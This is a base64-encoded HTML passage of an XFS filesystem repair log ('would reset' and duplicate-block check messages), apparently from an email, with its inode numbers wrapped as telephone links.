ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVm PSJ0ZWw6OTMxNDYzMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT45MzE0NjMxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4NzA0OSI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4NzA0OTwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9j ayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTQ2MzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNDYzMjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0MjIgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5ODcwNDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5ODcwNDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA0MzM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4OTcyMiI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4OTcyMjwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBi bG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUwMTQwOTciPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTAxNDA5NzwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY5OTAyMzgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY5OTAyMzg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE4NDI0Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTg0MjQ8L3U+PC9mb250 PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTkwMjM4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2OTkwMjM4PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6 OTMxODQyNSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45 MzE4NDI1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJh ZCBuYmxvY2tzIDEwNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTAzMDYiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTAzMDY8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAx MDU4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4g aW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTI2ODciPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTI2ODc8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9 InRlbDo5MzE4NjcxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjkzMTg2NzE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTkyNjg3Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTkyNjg3PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2Nr IDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxODY3MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT45MzE4NjcyPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE4MCBmb3IgaW5vZGUgPC9mb250PjxhIGhy ZWY9InRlbDoxNjk5MjY4NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjk5MjY4NzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4sIHdvdWxkIHJlc2V0IHRvIDE5MzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk1MTE2Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk1MTE2PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJs b2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NDAxMDU1MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT40MDEwNTUxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRl bDoxNjk5NTE2MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjk5NTE2MTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI3MzAxNzU1Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI3MzAxNzU1PC91PjwvZm9u dD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8g PC9mb250PjxhIGhyZWY9InRlbDoxNjk5NTIzOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xNjk5NTIzOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVs OjcwMzk1MzQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ NzAzOTUzNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAzOSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk5NTIzOSI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk5NTIzOTwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDQ5 PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5v IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRl bDo5MzE2NzUxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjkzMTY3NTE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk3MzQ0Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk3MzQ0PC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwv Zm9udD48YSBocmVmPSJ0ZWw6OTMxNjc1MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT45MzE2NzUyPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwODUgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byAzMDkxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDA2NDAiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDA2NDA8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxv Y2sgPC9mb250PjxhIGhyZWY9InRlbDoxMDc2MjU0NzQ4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjEwNzYyNTQ3NDg8L3U+PC9mb250PjwvYT48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMzkwIGZvciBpbm9kZSA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE3MDAwNjQwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE3MDAwNjQwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNDAxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDQ4 MjQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDQ4 MjQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1z IGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MjkyODc5Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkyOTI4Nzk8L3U+PC9mb250PjwvYT48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE3MDA0ODI0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE3MDA0ODI0PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTI5Mjg4MCI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MjkyODgwPC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tz IDEzNDUgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDQ4MjQiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDQ4MjQ8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAxMzQ2PC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMSBmb3IgaW5v ZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNzAwNTYyMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAwNTYyMTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMzPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTcwMDU5OTUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTcwMDU5OTU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7 Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo1MzY1MzY3Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjUzNjUzNjc8L3U+PC9mb250Pjwv YT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE3MDA1OTk1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE3MDA1OTk1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NTM2 NTM2OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT41MzY1 MzY4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEg Zm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNzAxODY5NiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAxODY5NjwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjkzMTYyNzgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+OTMxNjI3ODwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMTg2OTYi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMTg2OTY8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZy ZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE2Mjc5Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTYyNzk8L3U+PC9mb250PjwvYT48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE3MDE5MTExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE3MDE5MTExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxMTQwMyI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzExNDAzPC91Pjwv Zm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBp bm8gPC9mb250PjxhIGhyZWY9InRlbDoxNzAxOTExMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAxOTExMTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjkzMTE0MDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+OTMxMTQwNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5iYWQgbmJsb2NrcyAyMzIwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDE5MTEx Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDE5MTEx PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQg dG8gMjMyMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZu YnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMjwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5i c3A7LSBhZ25vID0gMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gNDwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gNTwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJz cDsgJm5ic3A7LSBhZ25vID0gNjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBwcm9jZXNzIG5ld2x5IGRpc2NvdmVyZWQg aW5vZGVzLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5QaGFzZSA0 IC0gY2hlY2sgZm9yIGR1cGxpY2F0ZSBibG9ja3MuLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gc2V0dGluZyB1cCBk dXBsaWNhdGUgZXh0ZW50IGxpc3QuLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gY2hlY2sgZm9yIGlub2RlcyBjbGFp bWluZyBkdXBsaWNhdGUgYmxvY2tzLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAwPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDst IGFnbm8gPSAzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsg Jm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSA0PC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAm bmJzcDstIGFnbm8gPSA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4m bmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAxPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSA2 PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5lbnRyeSAmcXVvdDsxMC42 LjExNC4xNDgmcXVvdDsgYXQgYmxvY2sgMjk3IG9mZnNldCA0OTYgaW4gZGlyZWN0b3J5IGlub2Rl IDE5MTI1IHJlZmVyZW5jZXMgZnJlZSBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3NzIx Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3NzIx PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAm bmJzcDsgJm5ic3A7ICZuYnNwO3dvdWxkIGNsZWFyIGlub2RlIG51bWJlciBpbiBlbnRyeSBhdCBv ZmZzZXQgNDk2Li4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAyNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3NjQ2NjgiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3NjQ2Njg8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNTU8 L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDUzMCBm b3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc2Nzg4MiI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc2Nzg4MjwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDU0NTwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjM5NiBmb3IgaW5vZGUgPC9m b250PjxhIGhyZWY9InRlbDoxNjc3MjU5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjc3MjU5NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDIzOTU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDYyODQgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY3NzU2MTkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY3NzU2MTk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byA2MjkxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmJsb2NrcyAxMDMgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODA0 OTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODA0 OTg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byAxMDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuZXh0 ZW50cyAyNyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MDQ5OCI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MDQ5ODwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI2PC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA3NiBmb3IgaW5v ZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MTk1OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MTk1OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDgxPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQga2V5IGluIGJtYnQgcm9vdCAoaXMgMTg1Niwgd291bGQg cmVzZXQgdG8gMTg0NCkgaW4gaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MjA3MCI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MjA3MDwvdT48 